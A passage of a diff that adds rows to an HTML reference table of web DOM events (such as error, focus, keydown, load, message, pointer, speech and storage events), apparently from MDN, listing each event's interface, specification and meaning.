+   <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+  </tr>
+  <tr>
+   <td>{{Event("end_(SpeechRecognition)","end")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("end_(SpeechSynthesis)","end")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName("Web Speech API")}}</td>
+   <td>The utterance has finished being spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName("Web Audio API")}}</td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("endEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A resource failed to load.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>Progression has failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request caused an error and failed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(SpeechRecognitionError)","error")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>A speech recognition error occurs.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error_(SpeechSynthesisError)","error")}}</td>
+   <td>{{DOMxRef("SpeechSynthesisErrorEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>An error occurs that prevents the utterance from being successfully spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("focus")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has received focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{Event("focusin")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element is about to receive focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{Event("focusout")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element is about to lose focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenchange")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>An element was turned to fullscreen mode or back to normal mode.</td>
+  </tr>
+  <tr>
+   <td>{{Event("fullscreenerror")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gamepadconnected")}}</td>
+   <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>A gamepad has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gamepaddisconnected")}}</td>
+   <td>{{DOMxRef("GamepadEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>A gamepad has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("gotpointercapture")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-gotpointercapture-event">Pointer Events</a></td>
+   <td>Element receives pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{Event("hashchange")}}</td>
+   <td>{{DOMxRef("HashChangeEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+  </tr>
+  <tr>
+   <td>{{Event("lostpointercapture")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-lostpointercapture-event">Pointer Events</a></td>
+   <td>Element lost pointer capture.</td>
+  </tr>
+  <tr>
+   <td>{{Event("input")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+  </tr>
+  <tr>
+   <td>{{Event("invalid")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{Event("keydown")}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{Event("keypress")}} {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("keyup")}}</td>
+   <td>{{DOMxRef("KeyboardEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A key is released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("languagechange")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td>The user's preferred languages have changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("levelchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>level</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("load")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A resource and its dependent resources have finished loading.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>Progression has been successful.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadeddata")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadedmetadata")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadend")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{Event("loadstart")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mark")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a named SSML "mark" tag.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{Event("messageerror")}}</td>
+   <td>{{DOMxRef("MessageEvent")}}</td>
+   <td>{{DOMxRef("MessagePort")}}, <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, <a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>, {{DOMxRef("Window")}}</td>
+   <td>A message error is raised when a message is received by an object.</td>
+  </tr>
+  <tr>
+   <td>{{Event("message_(ServiceWorker)","message")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("ServiceWorkerMessageEvent")}} or {{DOMxRef("ExtendableMessageEvent")}}, depending on context.</td>
+   <td><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></td>
+   <td>A message is received from a service worker, or a message is received in a service worker from another context.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousedown")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseenter")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseleave")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mousemove")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseout")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseover")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{Event("mouseup")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("nomatch")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechRecognitionEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a final result with no significant recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("notificationclick")}}</td>
+   <td>{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+   <td>A system notification<span style="line-height: 19.0909080505371px;"> spawned by {{DOMxRef("ServiceWorkerRegistration.showNotification()")}} has been clicked.</span></td>
+  </tr>
+  <tr>
+   <td>{{Event("offline")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{Event("online")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{Event("orientationchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{Event("pagehide")}}</td>
+   <td>{{DOMxRef("PageTransitionEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pageshow")}}</td>
+   <td>{{DOMxRef("PageTransitionEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{Event("paste")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transferred from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pause_(SpeechSynthesis)", "pause")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The utterance is paused part way through.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointercancel")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointercancel-event">Pointer Events</a></td>
+   <td>The pointer is unlikely to produce any more events.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerdown")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerdown-event">Pointer Events</a></td>
+   <td>The pointer enters the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerenter")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerenter-event">Pointer Events</a></td>
+   <td>Pointing device is moved inside the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerleave")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerleave-event">Pointer Events</a></td>
+   <td>Pointing device is moved out of the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerlockerror")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointermove")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointermove-event">Pointer Events</a></td>
+   <td>The pointer changed coordinates.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerout")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerout-event">Pointer Events</a></td>
+   <td>The pointing device moved out of hit-testing boundary or leaves detectable hover range.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerover")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerover-event">Pointer Events</a></td>
+   <td>The pointing device is moved into the hit-testing boundary.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pointerup")}}</td>
+   <td>{{DOMxRef("PointerEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerup-event">Pointer Events</a></td>
+   <td>The pointer leaves the active buttons state.</td>
+  </tr>
+  <tr>
+   <td>{{Event("play")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{Event("playing")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popstate")}}</td>
+   <td>{{DOMxRef("PopStateEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{Event("progress")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td>{{Event("push")}}</td>
+   <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a> has received a push message.</td>
+  </tr>
+  <tr>
+   <td>{{Event("pushsubscriptionchange")}}</td>
+   <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName("Push API")}}</td>
+   <td>A <a href="/en-US/docs/Web/API/PushSubscription">PushSubscription</a> has expired.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ratechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("readystatechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("repeatEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("reset")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resize")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resourcetimingbufferfull")}}</td>
+   <td>{{DOMxRef("Performance")}}</td>
+   <td><a href="https://w3c.github.io/resource-timing/#dom-performance-onresourcetimingbufferfull">Resource Timing</a></td>
+   <td>The browser's resource timing buffer is full.</td>
+  </tr>
+  <tr>
+   <td>{{Event("result")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechRecognitionEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.</td>
+  </tr>
+  <tr>
+   <td>{{Event("resume")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}} {{Experimental_Inline}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>A paused utterance is resumed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("scroll")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeked")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("seeking")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{Event("select")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select" style="white-space: nowrap;">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("selectstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('Selection API')}}</td>
+   <td>A selection just started.</td>
+  </tr>
+  <tr>
+   <td>{{Event("selectionchange")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('Selection API')}}</td>
+   <td>The selection in the document has been changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("show")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{Event("slotchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{ SpecName('DOM WHATWG')}}</td>
+   <td>The node contents of a {{DOMxRef("HTMLSlotElement")}} ({{htmlelement("slot")}}) have changed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("soundend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has stopped being detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("soundstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("speechend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Speech recognised by the speech recognition service has stopped being detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("speechstart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>Sound that is recognised by the speech recognition service as speech has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("stalled")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{Event("start_(SpeechRecognition)","start")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("start_(SpeechSynthesis)","start")}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The utterance has begun to be spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("storage")}}</td>
+   <td>{{DOMxRef("StorageEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
